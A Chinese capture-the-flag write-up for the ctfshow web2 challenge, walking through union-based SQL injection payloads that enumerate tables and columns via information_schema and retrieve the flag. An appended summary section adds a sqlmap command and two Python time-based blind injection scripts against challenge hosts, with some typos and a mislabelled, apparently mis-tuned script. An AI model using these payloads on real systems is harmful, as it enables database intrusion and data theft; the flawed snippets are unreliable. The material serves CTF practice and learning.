ctfshow_web2-----sql注入多表联合查询

先学一下sql基本语句

这里要用到select,union,information_schema,limit

这一题是单引号闭合,字符型注入

万能账号

1' or 1=1#

sql语句为:

SELECT * FROM admin WHERE Username='$username' AND Password='$password'

提交密码账号后

SELECT * FROM admin WHERE Username='1' or 1=1#' AND Password='$password'

#' LIMIT 0,1之后都被注释掉了

所以密码任意都能通过

先解释一下union:跳过原查询条件

查看回显位置

1' or 1=1 union select 1,2,3#

爆库名

1' or 1=1 union select 1,database(),3#

爆表名

1' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2'),3#

咦,这个怎么没有回显

搜索一下发现

UNION查询中,select 1,(子查询),3里的子查询属于 “标量子查询”(作为SELECT列表中的一个字段),必须只能返回 1 行 1 列

查看wp

先查看数据库表的数量

1' or 1=1 union select 1,(select count(*) from information_schema.tables where table_schema='web2'),3#

接着查第一个表名

' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2' limit 0,1),3 limit 1,2;#

得到表名flag

查第二个表名

' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2' limit 1,1),3 limit 1,2;#

得到表名user

查flag列的数量

' or 1=1 union select 1,(select count(*) from information_schema.columns where table_name='flag' limit 0,1),3 limit 1,2;#

查flag表列名

' or 1=1 union select 1,(select column_name from information_schema.columns where table_name='flag' limit 0,1),3 limit 1,2;#

查flag

' or 1=1 union select 1,(select flag from flag),3;#

ctfshow{c9dd5867-5931-49b2-b7f9-6f0b2af7bbde}

### CTFShow SQL注入技术学习与解析 CTFShow平台上的SQL注入题目是学习和实践SQL注入技术的良好资源。以下将从基础到高级,结合引用内容[^1],介绍如何在CTFShow平台上进行SQL注入的练习与解析。 #### 一、SQL注入基础知识 SQL注入是一种攻击技术,通过向应用程序输入恶意SQL代码,绕过安全验证或提取数据库信息。SQL注入的核心在于构造特殊字符或语句,使程序执行非预期的SQL命令[^2]。 #### 二、CTFShow SQL注入题目解析 以下是对CTFShow平台上常见SQL注入题目的解析: 1. **查操作** 使用`sqlmap`工具自动化查是一个常见的入门方法。例如,使用以下命令可以列出目标数据库中的所有: ```bash sqlmap -u "http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12" --user-agent sqlmap --referer http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/sqlmap.php -D ctfshow_web --tables ``` 这段命令利用了`sqlmap`工具,通过指定URL参数`id`,并设置数据库名称为`ctfshow_web`来枚举所有名。 2. **查询列名** 查询列名时,可以通过`UNION SELECT`语句构造payload。例如,以下payload用于查询`users`的列名: ```sql url?id = 1 union select 1,2,column_name from infomation_schema.columns where table_table = 'users' ``` 该语句通过`information_schema.columns`获取目标的列名[^3]。 3. **布尔盲注与时间盲注** 布尔盲注和时间盲注是两种常见的盲注方法。以下是一个布尔盲注的Python脚本示例: ```python import requests import string url = 'http://b6c2fdd0-e452-4aee-84ce-73716e1a42cd.challenge.ctf.show/api/index.php' dic = string.digits + string.ascii_lowercase + '{}-_' out = '' for j in range(1, 50): for k in dic: payload = f"u=if(substr((select flagaabc from ctfshow_flaga),{j},1)='{k}',sleep(0.1),0)" re = requests.get(url, params=payload) if re.elapsed.total_seconds() > 2: out += k break print(out) ``` 上述脚本通过构造`substr`函数逐步提取目标字段的内容,并结合`sleep`函数实现时间盲注[^4]。 4. **DELETE语句的时间盲注** 当题目限制无法直接插入数据时,可以考虑使用时间盲注。以下是一个基于`DELETE`语句的时间盲注脚本: ```python import requests import time import urllib.parse url = "http://b37e7121-22c6-4917-bfa5-ddc38a0ed78f.challenge.ctf.show/api/delete.php" s = '0123456789abcdef-' flag = 'ctfshow{' for i in range(9, 46): for j in s: data = {'id': f'0||if(substr((select flag from flag),{i},1)="{j}",sleep(1),0)'} try: requests.post(url, data=data, timeout=1) except: flag += j print(flag) break time.sleep(1) ``` 该脚本通过构造`if`条件语句,结合`sleep`函数延迟响应时间,从而判断每个字符是否正确[^5]。 #### 三、总结 CTFShow平台上的SQL注入题目涵盖了从基础到高级的各种技巧,包括查、查询列名、布尔盲注和时间盲注等。通过实践这些题目,可以系统地掌握SQL注入技术。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值